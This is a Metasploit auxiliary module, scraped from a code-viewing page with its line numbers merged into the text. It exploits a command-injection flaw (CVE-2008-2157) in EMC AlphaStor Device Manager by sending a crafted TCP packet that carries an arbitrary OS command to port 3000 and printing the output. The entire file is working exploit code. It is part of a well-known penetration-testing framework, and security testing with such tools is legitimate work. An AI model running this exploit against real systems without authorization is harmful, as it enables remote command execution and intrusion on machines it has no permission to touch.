Path: blob/master/modules/auxiliary/admin/emc/alphastor_devicemanager_exec.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(10update_info(11info,12'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',13'Description' => %q{14EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability15because the application fails to properly sanitize user-supplied input.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' => [20[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],21[ 'OSVDB', '45715' ],22[ 'CVE', '2008-2157' ],23[ 'BID', '29398' ],24],25'DisclosureDate' => '2008-05-27',26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)32)3334register_options(35[36Opt::RPORT(3000),37OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),38]39)40end4142def run43connect4445data = "\x75" + datastore['CMD']46pad = "\x00" * 5124748pkt = data + pad4950print_status("Sending command: #{datastore['CMD']}")51sock.put(pkt)5253# try to suck it all in.54select(nil, nil, nil, 5)5556res = sock.get_once || ''5758res.each_line do |info|59print_status(info.gsub(/[^[:print:]]+/, '').to_s) # hack.60end6162disconnect63rescue ::Rex::ConnectionError64print_error 'Connection failed'65rescue ::EOFError66print_error 'No reply'67end68end697071